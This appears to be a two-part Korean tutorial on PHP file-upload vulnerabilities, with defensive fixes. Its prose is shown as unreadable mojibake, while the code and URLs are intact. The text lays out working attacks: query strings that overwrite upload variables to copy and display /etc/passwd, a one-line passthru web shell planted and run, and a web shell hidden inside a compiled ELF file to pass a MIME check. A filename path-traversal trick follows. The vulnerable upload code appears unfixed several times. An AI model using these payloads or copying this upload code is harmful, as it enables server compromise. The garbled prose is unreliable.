Ãë¾à¼ºÀº °¡Àå ¸¹ÀÌ ÀÌ¿ëµÈ´Ù. µµ´ëü ¾î¶»°Ô µÈ ±¸Á¶±æ·¡ Cracker µéÀÌ
°¡Àå ÁÁ¾ÆÇÏ´Â ¹æ¹ýÀÎÁö ¾Ë¾Æº¸°Ú´Ù.

Cracker °¡ Web Server ¿¡ CGI ¸¦ ¿Ã·Á¼­´Â Àý´ë ¾ÈµÈ´Ù°í ¸îÂ÷·Ê À̹Ì
À̾߱⸦ Çß´Ù. ÀÌÀ¯´Â Cracker °¡ ¾ÇÀÇÀûÀÎ CGI ¸¦ ¿Ã¸± ¼ö ÀÖÀ¸¸é ¼­¹ö¿¡
System Command ¸¦ ½ÇÇà½Ãų ¼öµµ Àֱ⠶§¹®ÀÌ´Ù.

À̹ø¿£ ¾î¶² Ãë¾à¼ºÀϱî? ¾Ë¾Æº¸ÀÚ.

»ç¿ëÀÚ°¡ Upload ÇÒ File À» ÁöÁ¤ÇÏ°í, File À» ¼­¹ö¿¡ ¿Ã¸®¸é ÁöÁ¤µÈ ÆÄÀÏ¿¡´Â
¸î°¡ÁöÀÇ º¯¼öµéÀÌ Á¤ÀǵǾî Áø´Ù.

¿¹¸¦ µé¾î ´ÙÀ½°ú °°Àº Æû¿¡¼­ File À» ¿Ã·È´Ù°í °¡Á¤ÇÏÀÚ.

<form action=write_ok.php method=post enctype="multipart/form-data">
Send this file: <input type=file name=in_file>
<input type=submit value=Send>
</form>

$in_file - Upload µÈ File ³»¿ëÀÌ ÀúÀåµÇ¾î ÀÖ´Â ¼­¹öÀÇ Àӽà File name

$in_file_name - Upload ÇÑ ½Ã½ºÅÛ¿¡¼­ »ç¿ëÇÏ´Â File ÀÇ ¿ø·¡ À̸§

$in_file_size - byte ´ÜÀ§ÀÇ UploadµÈ ÆÄÀÏÀÇ Å©±â.

$in_file_type - ¸¸¾à browser°¡ ¾÷·ÎµåµÈ ÆÄÀÏÀÇ mime Çü½ÄÀ» ¾È´Ù¸é
±× mime Çü½Ä. (Ex. "image/gif").

ÀÌÇظ¦ µ½±â À§ÇØ À§¿Í °°Àº ÆûÀ¸·Î ÀڷḦ ¿Ã·ÈÀ»¶§ ³ªÅ¸³ª´Â °á°ú¸¦ º¸ÀÚ.
³ª´Â 2309 byte »çÀÌÁîÀÇ test.txt ¶ó´Â ÆÄÀÏÀ» ¼­¹ö¿¡ ¿Ã·È´Ù.

<?

echo "in_file = $in_file<br>";
echo "in_file_name = $in_file_name<br>";
echo "in_file_size = $in_file_size<br>";
echo "in_file_type = $in_file_type<br>";

?>

[°á°ú]
in_file = /tmp/phpoIVrVs
in_file_name = test.txt
in_file_size = 2309
in_file_type = text/plain

¿ì¸®´Â form ÀÇ file type À» ÀÌ¿ëÇÏ¿© in_file À̶ó´Â ÆÄÀÏÀ» ¿Ã·È´Âµ¥
3 °¡ÁöÀÇ º¯¼ö°¡ ÀÚµ¿À¸·Î ºÙ¾ú´Ù. ÀÌ º¯¼öµéÀº ÆÄÀÏÀÇ type À» üũÇϰųª
ÆÄÀÏ »çÀÌÁîµîÀ» üũÇÏ·ÁÇÒ¶§ ¾ÆÁÖ À¯¿ëÇÏ°Ô »ç¿ëµÇ¾î Áø´Ù.

ÇÏÁö¸¸ ¿©±â¿¡ Hacking ¿¡ ÀÌ¿ëµÉ ¼ö ÀÖ´Â Ãë¾àÁ¡ÀÌ ¹ß»ýÇÑ´Ù.

¿¹¸¦ µé¾î ´ÙÀ½ÀÇ ¼Ò½º¸¦ º¸ÀÚ.

write_ok.php

1 <?
2
3 /* »ý·« */
4
5 if($in_file_name)
6 {
7 if($in_file_size == 0)
8 {
9 echo "¸ð¾ç ÆÄÀÏ Å©±â 0 À̾ç";
10
11 exit;
12 }
13
14
15
16 }
17
18 if($in_file != "none" && $in_file)
19 {
20 $filetype = split("/", $in_file_type);
21 $filetype = $filetype[0];
22
23 if($filetype == "text")
24 $in_file_name = $in_file_name.".txt";
25
26 $exist = file_exists("data/$in_file_name");
27
28 if($exist)
29 {
30 echo "µ¿ÀÏÇÑ ÆÄÀÏÀ̸§ÀÌ ÀÌ¹Ì Á¸ÀçÇÕ´Ï´Ù.";
31 exit;
32 }
33
34 if(!copy($in_file, "data/$in_file_name"))
35 {
36 echo "ÆÄÀÏ ÀúÀå ½ÇÆÐ! ´Ù½Ã ¿Ã¸®¶ó.";
37 exit;
38 }
39
40 chmod("data/$in_file_name", 0444);
41
42 unlink($in_file);
43 }
44
45 /* »ý·« */
46
47 ?>

À§ Source ¿¡´Â Hacking Ãë¾à¼ºÀÌ Á¸ÀçÇÑ´Ù.

ÀÌ Ãë¾à¼ºÀÇ °¡Àå ÇÙ½ÉÀÌ µÇ´Â ³»¿ëÀº File Upload ÈÄ¿¡ ÀÚµ¿ÀûÀ¸·Î ºÙ´Â
$in_file_name °ú $in_file_size, $in_file_type µîÀº Client ¸¶À½´ë·Î ¹Ù²Ü
¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù.

À§ 3 °³ÀÇ º¯¼öµéÀº Server ¿¡¼­ ÀÚµ¿ÀûÀ¸·Î 󸮸¦ ÇØÁÖ±â´Â ÇÏÁö¸é ¿ì¸®¿¡°Ô
¿ì¼±±ÇÀÌ ÀÖ´Ù. ¸¸¾à ¿ì¸®°¡ query ¸¦ º¸³¾¶§ in_file_name=/etc/passwd ÀÌ·±
½ÄÀ¸·Î Á¤ÀǸ¦ ÇØÁشٸé Server ¿¡¼­´Â ÀÚ±â ÀÓÀÇ´ë·Î in_file_name À» Á¤ÀÇÇÏÁö
¾Ê´Â´Ù. (ÀÌÇظ¦ ½±°Ô Çϱâ À§ÇØ À§ÀÇ Ç¥ÇöÀ» ¾´ °ÍÀ» ÀÌÇعٶõ´Ù.)

write_ok.php ¿¡¼­ CGI ¸¦ ¿Ã¸± ¼ö ¾ø°Ô Á¶Ã븦 ÃëÇÑ °ÍÀº ¹«¾ùÀÌ ÀÖ´ÂÁö
¾Ë¾Æº¸ÀÚ.

¸ÕÀú 5 ¹ø° ÁÙ¿¡¼­ in_file_name º¯¼ö°¡ Á¸ÀçÇÑ´Ù¸é, ±×·¯´Ï±î »ç¿ëÀÚ°¡
File À» ¿Ã·È´Ù¸é ±× File Size °¡ 0 ÀÎÁö °Ë»ç¸¦ ÇÑ´Ù. 0 À̶ó¸é À߸øµÈ
°ÍÀ¸·Î ÀνÄÇÏ¿© Script ¸¦ ÁßÁö½ÃŲ´Ù. ±×¸®°í in_file ÀÌ none ÀÌ ¾Æ´Ï°í
Á¸ÀçÇßÀ»¶§, file ÀÇ type À» ±¸ÇÑ´Ù. ¸¸¾à File Type ÀÌ text Çü½ÄÀ̶ó¸é
File ÀÇ À̸§ µÚ¿¡ txt ¸¦ ºÙÀδÙ. ÀÌ·¸°Ô ÇÏ´Â ÀÌÀ¯´Â ¸¸¾à test.php °°Àº
Script ¸¦ ¿Ã·ÈÀ»¶§ µÚ¿¡ .txt ¸¦ ºÙ¿©¼­ WebServer ¿¡¼­ php ¸¦ ½ÇÇàÇÏÁö
¾Ê°Ô²û Çϱâ À§ÇÑ Á¶ÃëÀÌ´Ù. ±×·¡¼­ À§ÀÇ »óŶó¸é ¸¸¾à hacking.php ¶ó´Â
File À» ¿Ã·È´Ù¸é Server ¿¡´Â hacking.php.txt ¶ó´Â File ÀÌ µÉ °ÍÀÌ´Ù.

26~32 ÁÙÀº File ÀÌ Server ¿¡ ÀÌ¹Ì Á¸ÀçÇÏ´ÂÁö È®ÀÎÇÏ´Â ·çƾÀÌ°í 34 ¹ø ÁÙÀº
Server ¿¡ ¿Ã·ÁÁø ÀÓ½ÃÆÄÀÏÀ» in_file_name À¸·Î Copy ¸¦ ÇÏ´Â °ÍÀÌ´Ù.

40 ¹ø° ÁÙÀº Æ۹̼ÇÀº 444 ·Î ÁÖ¾ú´Ù. (user, group, other ¿¡ read ±ÇÇѸ¸
ºÎ¿©¸¦ ÀǹÌ) ±×¸®°í 42 ¹ø° ÁÙ¿¡¼­ Server ¿¡ ¿Ã·ÁÁø ÀÓ½ÃÆÄÀÏÀ» Áö¿ü´Ù.

ÀÚ ÀÌÁ¦ ÀÌ·± üũ¸¦ ±³¹¦È÷ ºüÁ®³ª°¡ º¸ÀÚ. ºüÁ®³ª°¡´Â ¹æ¹ý¿¡´Â ¿©·¯ °¡Áö
¹æ¹ýÀÌ Àִµ¥ ù¹ø°´Â in_file_name °ú in_file_size ¸¦ Á¶ÀÛÇÏ´Â ¹æ¹ýÀÌ´Ù.

¸ÕÀú File À» Read ÇÒ ¼ö ÀÖ´Â ¹æ¹ýºÎÅÍ º¸°Ú´Ù. File Read ¿¡¼­ °¡Àå ÁÖÀDZí°Ô
ºÁ¾ßÇÒ ºÎºÐÀº 34 ¹ø° ÁÙÀÌ´Ù.

File À» ¿Ã¸®±â À§Çؼ± File Size °¡ 0 ÀÌ ¾Æ´Ï¾î¾ß ÇÑ´Ù. ±×·¡¼­ File Size ¿¡
ÀÓÀÇÀÇ °ª 100 À» ÁÖ°Ú´Ù.

(¿©±â¼­ Àá±ñ php ¿¡¼­ Copy Function ÀÇ »ç¿ë¹ýÀ» °£·«ÇÏ°Ô ¾Ë¾Æº¸°Ú´Ù.
¹®¹ýÀº ´ÙÀ½°ú °°´Ù. copy(src, dst); src ÆÄÀÏÀ» dst ·Î copy Ç϶ó´Â ¶æÀÌ´Ù.)

src ¿¡ µé¾î°¡´Â in_file À» /etc/passwd ·Î ÇÏ°Ú´Ù. ±×¸®°í dst ¿¡´Â passwd.txt
¶ó°í ÇÏ°Ú´Ù. À§ÀÇ »óȲÀ» Á¾ÇÕÀûÀ¸·Î Á¤¸®ÇغÃÀ»¶§ ¼­¹ö¿¡ °¡¾ßÇÏ´Â query ´Â
´ÙÀ½°ú °°´Ù.

http://server/write_ok.php?in_file=/etc/passwd&in_file_name=passwd.txt&in_file_size=100

À§¿Í °°ÀÌ º¸³½´Ù¸é php ´Â ½ÇÁ¦·Î ÀÌ·¸°Ô ÀÛµ¿µÉ °ÍÀÌ´Ù.

if(!copy("/etc/passwd", "data/passwd.txt"))

±×·³ ½ÇÁ¦·Î passwd.txt ¸¦ ¿äûÇÏ¿© º¸ÀÚ.

[¿äû]
http://server/data/passwd.txt

[°á°ú]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

Remote File Read Attack À» ¼º°øÇÏ¿´´Ù. ÇÏÁö¸¸ ÁøÁ¤ÇÑ Cracker ¶ó¸é ¿©±â¼­ ¸¸Á·
ÇÏÁö ¾Ê´Â´Ù. System Command Execute ±îÁö ¼º°øÇÏ¿© º¸ÀÚ.

À§ File Read ¹æ¹ý°ú ¿ø¸®´Â ºñ½ÁÇϹǷÎ, °£·«ÇÏ°Ô ÀýÂ÷ÀûÀ¸·Î ¼³¸íÇÏ°í, ÇÊ¿äÇÑ
ºÎºÐ¸¸ ´õ ¼³¸íÀ» ÇÏ°Ú´Ù.

¸ÕÀú ¼­¹ö¿¡ Á¤»óÀûÀÎ text File À» Çϳª ¿Ã¸®ÀÚ.

hack.txt

<?
passthru($beist);
?>

hack.txt ÀÌ Á¤»óÀûÀ¸·Î Server ¿¡ ¿Ã·ÁÁ³´Ù¸é hack.txt ´Â hack.txt.txt ·Î º¯ÇØ
ÀÖÀ» °ÍÀÌ´Ù. (ÀÌÇØ°¡ ¾ÈµÈ´Ù¸é 20~24 ¹ø° ÁÙÀ» º¸ÀÚ.)

±×¸®°í ÀÌ·¸°Ô ¿äûÀ» ÇÏÀÚ.

http://server/write_ok.php?in_file=data/hack.txt.txt&in_file_name=realhack.php&in_file_size=100

¿ø¸®¸¦ »ìÆ캸ÀÚ. ¿ì¸®´Â ¸ÕÀú hack.txt ¸¦ ¿Ã·È´Ù. hack.txt ¿¡´Â ½Ã½ºÅÛ¿¡
¸í·ÉÀ» ½ÇÇàÇÒ ¼ö ÀÖ´Â passthru Function ÀÌ ´ã°å´Ù. txt È®ÀåÀÚ ÆÄÀϷδ ¾Æ¹«°Íµµ
ÇÒ ¼ö ¾øÁö¸¸, ÀÌ ÆÄÀÏÀ» ÀÌ¿ëÇÏ¿© realhack.php À¸·Î Ä«ÇÇÇÑ °ÍÀÌ´Ù.

½ÇÁ¦·Î´Â ÀÌ·¸°Ô Ä«ÇÇ°¡ µÉ °ÍÀÌ´Ù.

if(!copy("data/hack.txt.txt", "data/realhack.php"))

¿ì¸®´Â À̷νá realhack.php À» ÀÌ¿ëÇÏ¿© System ÀÇ Shell À» µû³»°Ô µÇ¾ú´Ù.

[¿äû]
http://server/data/realhack.php?beist=cat /etc/passwd

[°á°ú]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

¶Ç ´Ù¸¥ ¹æ¹ýÀº hack.php ¶ó´Â File À» in_file °ú in_file_name ÀÇ query Á¶ÀÛ
¸»°íµµ in_file_type À» ÀÓÀÇ·Î º¯°æÇÏ¿© text file ÀÌ ¾Æ´Ñ °Íó·³ ¿Ã¸°´Ù¸é
µÚ¿¡ µÚ¿¡ txt È®ÀåÀÚ°¡ ºÙÁö ¾ÊÀ¸´Ï Á¤»óÀûÀ¸·Î Server ¿¡¼­ Shell À» ½ÇÇà½Ãų
¼ö ÀÖÀ» °ÍÀÌ´Ù. ÀÌ ¹æ¹ýÀº À§¿¡¼­ ¸¹ÀÌ ¼³¸íÇÏ¿´À¸´Ï ½ÇÁúÀûÀÎ °ø°Ý ¹æ¹ýÀº
¼³¸íÇÏÁö ¾Ê°Ú´Ù.

µÎ¹ø° °ø°Ý ¹æ¹ý¿¡ ´ëÇؼ­ ¾Ë¾Æº¸ÀÚ.

µÎ¹ø° °ø°Ý ¹æ¹ý¿¡¼­´Â in_file °°Àº º¯¼öµéÀ» Á¶ÀÛÇÏÁö ¾Ê°í Hacking À» ÇÒ
°ÍÀÌ´Ù. 20~24 ¹ø° ÁÙ¿¡¼­´Â text ÆÄÀÏÀÏ °æ¿ì¿¡¸¸ file name µÚ¿¡ txt ¸¦
ºÙÀδÙ. ±×·¸´Ù¸é text type ÀÌ ¾Æ´Ñ binary file À» ¿Ã¸®¸é ¾î¶»°Ô µÉ±î?

È®ÀåÀÚ°¡ php ¶óµµ binary file À̶ó¸é 20~24 ÁÙ °Ë»ç¿¡¼­ text °¡ ¾Æ´Ï´Ï
µÚ¿¡ txt °¡ ºÙÁöµµ ¾ÊÀ» °ÍÀÌ´Ù.

php binary file(?) À» ¸¸µé¾î º¸ÀÚ. (Zend °¡ ¾Æ´Ñ)

hack.c

#include <stdio.h>
main()
{
}

$ gcc -o hack.php hack.c
$ vi hack.php

^?ELF^A^A^A^@^@^@^@^@^@^@^@^@^B^@^C^@^A^@^@^@0~C^D^H4^@^@^@L(^@^@^@^@^@^@
F^@(^@^^^@^[^@^F^@^@^@4^@^@^@4~@^D^H4~@^D^H?@^@^@?@^@^@^E^@^@^@^D^@^@^@
@?@^@^@?@^D^H?@^D^H^S^@^@^@^S^@^@^@^D^@^@^@^A^@^@^@
<? passthru($beist); ?>
^A^@^@^@^@^@^@^@^@~@^D^H^@~@^D^H?D^@^@?D^@^@^E^@^@^@^@^P^@^@^A^@^@^@?D
^D^H?T^D^H?@^@^@?@^@^@^F^@^@^@^@^P^@^@^B^@^@^@?D^@^@?T^D^H?T^D^H| ^
<@^@^@^F^@^@^@^D^@^@^@^D^@^@^@^H^A^@^@^H~A^D^H^H~A^D^H ^@^@^@ ^@^@^@^D^@^
^@^@/lib/ld-linux.so.2^@^@^D^@^@^@^P^@^@^@^A^@^@^@GNU^@^@^@^@^@^B^@^@^@^@

vi ÀúÀåÈÄ ºüÁ®³ª¿È.

À§¿¡ ´ëÇؼ­ ¼³¸íÀ» ÇÏ°Ú´Ù. ¸ÕÀú ¾Æ¹«·± ±â´Éµµ ÇÏÁö ¾Ê´Â hack.c ¶ó´Â file
À» ¸¸µç ÈÄ hack.php ·Î ÄÄÆÄÀÏÀ» ÇÑ´Ù. ÄÄÆÄÀÏÇÑ file À» ¿­¾î (¿­¾úÀ»¶§ ÀÌ»ó
ÇÑ ¹®ÀÚ°¡ ³ª¿Ã °ÍÀÌ´Ù.) ±× Áß°£¿¡ ½Ã½ºÅÛ¿¡ ¸í·ÉÀ» ½ÇÇàÇÒ ¼ö ÀÖ´Â Code ¸¦
³Ö´Â´Ù. (passthru Function)

ÀÌÁ¦ ÀÌ File Àº Áß°£¿¡ Text Code ³Ö¾úÀ½¿¡µµ binary File ÀÌ´Ù. ºñ±³¸¦
Çغ¸ÀÚ.

test.php

<?
passthru($beist);
?>

$ file test.php
test.php: ASCII text

$ file hack.php
hack.php: ELF 32-bit LSB executable, Intel 80386, version 1, statically
linked (uses shared libs), stripped

¿ì¸®ÀÇ hack.php ´Â ELF Æ÷¸ËÀ» °®´Â binary °¡ µÇ¾ú´Ù. ÀÌ File À» ¼­¹ö¿¡
¿Ã¸®¸é File Type ¿¡ °É¸®Áö ¾Ê°í ¹«»çÈ÷ ¿Ã¶ó°¡°Ô µÉ °ÍÀÌ°í Áß°£¿¡ ³ÖÀº
Code ·Î Cracker ´Â Hacking À» ÇÒ ¼ö ÀÖ´Ù.

[¿äû]
http://server/data/hack.php?beist=cat /etc/passwd

[°á°ú]
ELF^^A^A^A^A^A^A^A^A^A^A^A^A^A^A^A^C^F^^E@^F^
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

(À§ÀÇ °æ¿ì, C ·Î Â¥¿©Áø CGI ¸¦ File Type Text °Ë»ç¿¡ °É¸®Áö ¾Ê¾Æ¼­ ³Ñ¾î
°¥ ¼ö ÀÖ°ÚÁö¸¸ Æ۹̼ÇÀ» user, group, other ¿¡ read ¸¸ ºÎ¿©ÇÏ¿´±â ¶§¹®¿¡
Forbidden ÀÌ ³ª¿Ã °ÍÀÌ´Ù.)

ÀÌÁ¦ ÀÌ µÎ Hacking ¹æ¹ý¿¡ ´ëÇÑ ´ëó ¹æ¾ÈÀ» ¾Ë¾Æº¸ÀÚ.

PHP ¿¡¼­´Â ÀÌ È¯°æ º¯¼ö¿¡ ÀÇÇÑ Ãë¾à¼ºÀ» ÀνÄÇÏ°í »õ·Î¿î Function À»
³»³õ°Ô µÇ¾ú´Ù. ¹Ù·Î is_uploaded_file ÀÌ´Ù. ÀÌ Function À» ½á¼­ »ç¿ëÀÚ°¡
¿Ã¸° ÆÄÀÏÀÌ Á¤»óÀÎÁö ¾Æ´ÑÁö üũ°¡ °¡´ÉÇÏ´Ù.

¼öÁ¤µÈ write2_ok.php ÀÇ ÀϺκÐÀ» »ìÆ캸°Ú´Ù.

write2_ok.php

1 if($in_file != "none" && $in_file)
2 {
3 $not_file = is_uploaded_file($in_file);
4
5 if( !$not_file ) {
6 echo "Àå³­ ÇϳÄ?"; exit; }
7
8 $filetype = split("/", $in_file_type);
9 $filetype = $filetype[0];

3 ¹ø° ÁÙ¿¡¼­ »ç¿ëÀÚ°¡ Upload ÇÑ ÆÄÀÏÀÌ Á¤»óÀûÀ¸·Î ¿Ã¸° ÆÄÀÏÀÎÁö ¾Æ´ÑÁö
°Ë»ç¸¦ Çϱâ À§ÇØ is_uploaded_file ¸¦ ½ÇÇàÇÏ¿© ¸¸¾à Á¤»óÀûÀÌÁö ¾Ê´Ù¸é
½ºÅ©¸³Æ®¸¦ ÁßÁö½ÃŲ´Ù.

[¿äû]
http://server/write_ok.php?in_file=data/hack.txt.txt&in_file_name=realhack.php&in_file_size=100

[°á°ú]
Àå³­ ÇϳÄ?

¼º°øÀûÀ¸·Î ¸·¾Ò´Ù. ÇÏÁö¸¸ ÀÌ ¹æ¹ýÀ¸·Î´Â ¾ÈÀüÇÏÁö ¾Ê´Ù. »ç¿ëÀÚ°¡ in_file
Àº Á¤»óÀûÀÎ File À» Upload ÇÏ°í in_file_name À» Á¶ÀÛÇÏ¿© º¸³¾ ¼öµµ ÀÖ±â
¶§¹®ÀÌ´Ù.

¿¹¸¦ µé¾î

<form action=write_ok.php method=post enctype="multipart/form-data">
Send this file: <input type=file name=in_file>
<input type=hidden name=in_file_name value="test.php">
<input type=submit value=Send>
</form>

ÀÌ·¸°Ô hidden type À¸·Î data ¸¦ Çϳª ¿Ã¸°´Ù¸é Server ¿¡¼­ »ç¿ëÀÚ°¡ ¿Ã¸°
hacking.txt ÀÇ file À» test.php ·Î copy ÇÒ °ÍÀÌ´Ù.

hacking.txt

<?
passthru($beist);
?>

[¿äû]
http://server/data/test.php?beist=cat /etc/passwd

[°á°ú]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

Á¶±Ý ´õ ¾ÈÀüÇÏ°Ô Çϱâ À§ÇØ $in_file_name ÀÇ À̸§ Áß¿¡ php °ü·Ã ÆÄÀÏÀÌ
ÀÖ´Ù¸é Ãë¼Ò¸¦ ÇÏ°Ô²û Ãß°¡Çϵµ·Ï ÇÏÀÚ.

if(eregi("php", $in_file_name))
{
echo "Àå³­ÇÏ´Ï?.. file À̸§¿¡ php °¡ µé¾îÀÖ½À´Ï´Ù.";
exit;
}

±×¸®°í, »óÀ§ µð·ºÅ丮ÀÇ ÁøÀÔÀ» ¸·±â À§ÇÑ Á¶Ãëµµ ÃëÇسõÀÚ.

if(eregi("\.\.", $in_file))
{
echo "Àå³­ÇÏ´Ï?.. file À̸§¿¡ .. °¡ µé¾îÀÖÀ¸¸é ¾ÈµË´Ï´Ù.";
exit;
}

µÎ¹ø°, binary File À» ¿Ã·Á¼­ File type À» ¼ÓÀÌ´Â Hacking ¿¡ ´ëÇÑ ´ëó
¹æ¹ýÀ» ¾Ë¾Æº¸ÀÚ.

¾î¶² »óȲÀÌ¶óµµ »ç¿ëÀÚ°¡ Server ¿¡ php °ü·Ã ÆÄÀÏÀÇ È®ÀåÀÚ¸¦ ¿Ã¸®´Â °ÍÀº
À§ÇèÇÏ´Ù. ½ÇÁ¦·Î ±× File ÀÌ ½ÇÇàÀÌ µÇÁö ¾Ê´õ¶óµµ ¸»ÀÌ´Ù.

±×·¡¼­ ¾ÖÃÊ¿¡ File Name ¿¡ php °ü·Ã ÆÄÀÏÀÌ µé¾î°¡¼± ¾ÈµÇµµ·Ï Á¶Ã븦
ÃëÇÏ´Â °ÍÀÌ ÁÁÀº ¹æ¹ýÀÌ´Ù.

if(eregi("php", $in_file_name))
{
echo "Àå³­ÇÏ´Ï?.. file À̸§¿¡ php °¡ µé¾îÀÖ½À´Ï´Ù.";
exit;
}

¾Æ´Ï¸é File Name À» È®ÀåÀÚ¸¦ °®°Ô ÇÏÁö ¸»°í ¹øÈ£¸¦ °®°Ô ´ÙÀ½ÀÇ ¾Ë°í¸®ÁòÀ»
ÀûÀýÈ÷ ÀÌ¿ëÇÏ´Â ¹æ¹ýµµ ±¦Âú´Ù.

$count=0;
$fp=fopen("count.txt", "r");
$count=fgets($fp, 10);

copy($in_file, "data/$count");
$count++;
fclose($fp);

$fp=fopen("count.txt", "w");
fputs($fp, $count, 10);
fclose($fp);



/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
7) file upload ¾Ë°í¸®Áò ½ÃÀÇ ÁÖÀÇÇÒÁ¡ -4-

À̹ø ÁÖÁ¦´Â Web CGI Board ¿¡¼­ File Upload ½ÃÀÇ Ãë¾à¼º¿¡ ´ëÇؼ­
¾Ë¾Æº¸°Ú´Ù. ¹ú½á file upload °ü·Ã ±ÛÀÌ 4 °³³ª ³ª¿Ô´Âµ¥ ÀÌ °ÍÀ¸·Î
º¸¾Æ Cracker °¡ °¡Àå ÁÁ¾ÆÇÏ´Â °ÍÁß Çϳª°¡ File Upload ¶ó´Â °ÍÀº
È®½ÇÇÏ´Ù.

±×¸¸Å­ Ãë¾àÁ¡ÀÌ ³ª¿Ô´Âµ¥µµ À̹ø¿¡´Â ¾î¶°ÇÑ Ãë¾àÁ¡ÀÌ ³ª¿Ã±î.
À̹ø ¿ª½Ã File À» Upload ÇÒ¶§ÀÇ À̸§°ú °ü°è°¡ ÀÖ´Ù. ¾î¶»°Ô º¸¸é
À̹ø ¹ö±×´Â °³¹ßÀÚ°¡ ¾Ë°í¸®ÁòÀ» ©¶§ÀÇ Ãë¾à¼ºÀº ¾Æ´Ï°í, php ¿¡¼­
ó¸®ÇÏ´Â ¹æ½Ä¿¡ µû¶ó¼­ ¹®Á¦°¡ ÀÖ´Ù.

¿ì¸®°¡ ÆÄÀÏÀ» ¿Ã¸±¶§´Â º¸Åë ´ÙÀ½°ú °°Àº Çü½ÄÀ¸·Î ¿Ã¸®°Ô µÈ´Ù.
´ÙÀ½°ú °°Àº File Upload ÆûÀÌ ÀÖ´Ù°í ÇÏÀÚ.

<form action=write_ok.php method=post enctype="multipart/form-data">
Send this file: <input type=file name=in_file>
<input type=submit value=Send>
</form>

±×¸®°í file À̸§¿¡ ´ÙÀ½°ú °°ÀÌ Àû¾î¼­ Send ¹öÆ°À» ´©¸£ÀÚ.

c:\upload\test.txt

write_ok.php ÀÇ ¼Ò½º´Â ´ÙÀ½°ú °°´Ù.

write_ok.php

<?

echo "in_file = $in_file<br>";
echo "in_file_name = $in_file_name<br>";
echo "in_file_size = $in_file_size<br>";
echo "in_file_type = $in_file_type<br>";

?>

¼Ò½º¸¸ º¸°íµµ À§ÀÇ Script °¡ ¹«¾ùÀ» ÇÏ´ÂÁö ¾Ë ¼ö ÀÖÀ» °ÍÀÌ´Ù. Send
¹öÆ°À» ´©¸£¸é °á°ú´Â ´ÙÀ½°ú °°ÀÌ ³ª¿Â´Ù.

in_file = /tmp/phpO3EWtg
in_file_name = test.txt
in_file_size = 20
in_file_type = text/plain

º¸´Ù½ÃÇÇ $in_file_name ¿¡´Â c:\upload\ °¡ ©¸° »óÅÂÀÌ´Ù. ±×·¯¸é php
¿¡¼­´Â ¾î¶² ±âÁØÀ¸·Î in_file_name À» ±¸ÇÏ´Â °ÍÀΰ¡? »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ
file name ¿¡¼­ Escape ¹®ÀÚ·Î ±¸º°ÇÑ´Ù. Escape °¡ ¸Ç ¸¶Áö¸·À¸·Î ¾²ÀÎ
°÷¿¡¼­ µÚÀÇ ¹®ÀÚ¿­µéÀ» $in_file_name À¸·Î º¸´Â °ÍÀÌ´Ù.

¿©±â¿¡´Â ½É°¢ÇÑ Security Hole ÀÌ ÀÖ´Ù.

°¡·É ´ÙÀ½°ú °°Àº File Name À» ÁÖ°í File À» ¿Ã·È´Ù°í »ý°¢ÇÏ¿© º¸ÀÚ.

c:\upload\a\../test.txt

À§ File path ÀÇ ¶æÀ» ±»ÀÌ Çؼ®ÇÏÀÚ¸é ´ÙÀ½°ú °°´Ù. c:\upload\a µð·ºÅ丮
¿¡¼­ Çѹø »óÀ§µð·ºÅ丮·Î À̵¿ÇÑ ÈÄ test.txt ÆÄÀÏÀ» ¸»ÇÑ´Ù. °á°úÀûÀ¸·Î
ÀÌ °ÍÀº c:\upload\test.txt ÀÌ´Ù.

ÇÏÁö¸¸ À§¿¡¼­ ¼³¸íÇßµíÀÌ php ¿¡¼­´Â Escape °¡ ¸Ç ¸¶Áö¸·À¸·Î ¾²ÀÎ °÷¿¡¼­
µÚÀÇ ¹®ÀÚ¿­µéÀ» in_file_name À¸·Î »ý°¢ÇÑ´Ù. ±×·¡¼­ ¼­¹ö¿¡ ÀúÀåµÇ´Â
$in_file_name Àº ../test.txt °¡ µÇ´Â °ÍÀÌ´Ù. ¹°·Ð, Client ¿¡¼­ÀÇ ÀÌ
ÆÄÀÏÀº c:\upload\test.txt À̹ǷΠ¾Æ¹«·± ÀÌ»ó ¾øÀÌ Upload °¡ µÈ´Ù.

¸¸¾à ´ÙÀ½°ú °°Àº ¼Ò½º°¡ ÀÖ´Ù°í ÇÏÀÚ.

1 <?
2
3 /* »ý·« */
4
5 if($in_file_name)
6 {
7 if($in_file_size == 0)
8 {
9 echo "¸ð¾ç ÆÄÀÏ Å©±â 0 À̾ç";
10 exit;
11 }
12}
13
14 if($in_file != "none" && $in_file)
15 {
16
17 $exist = file_exists("data/$in_file_name");
18
19 if($exist)
20 {
21 echo "µ¿ÀÏÇÑ ÆÄÀÏÀ̸§ÀÌ ÀÌ¹Ì Á¸ÀçÇÕ´Ï´Ù.";
22 exit;
23 }
24
25 if(!copy($in_file, "data/$in_file_name"))
26 {
27 echo "ÆÄÀÏ ÀúÀå ½ÇÆÐ! ´Ù½Ã ¿Ã¸®¶ó.";
28 exit;
29 }
30
31 chmod("data/$in_file_name", 0444);
32
33 unlink($in_file);
34 }

/* »ý·« */

?>

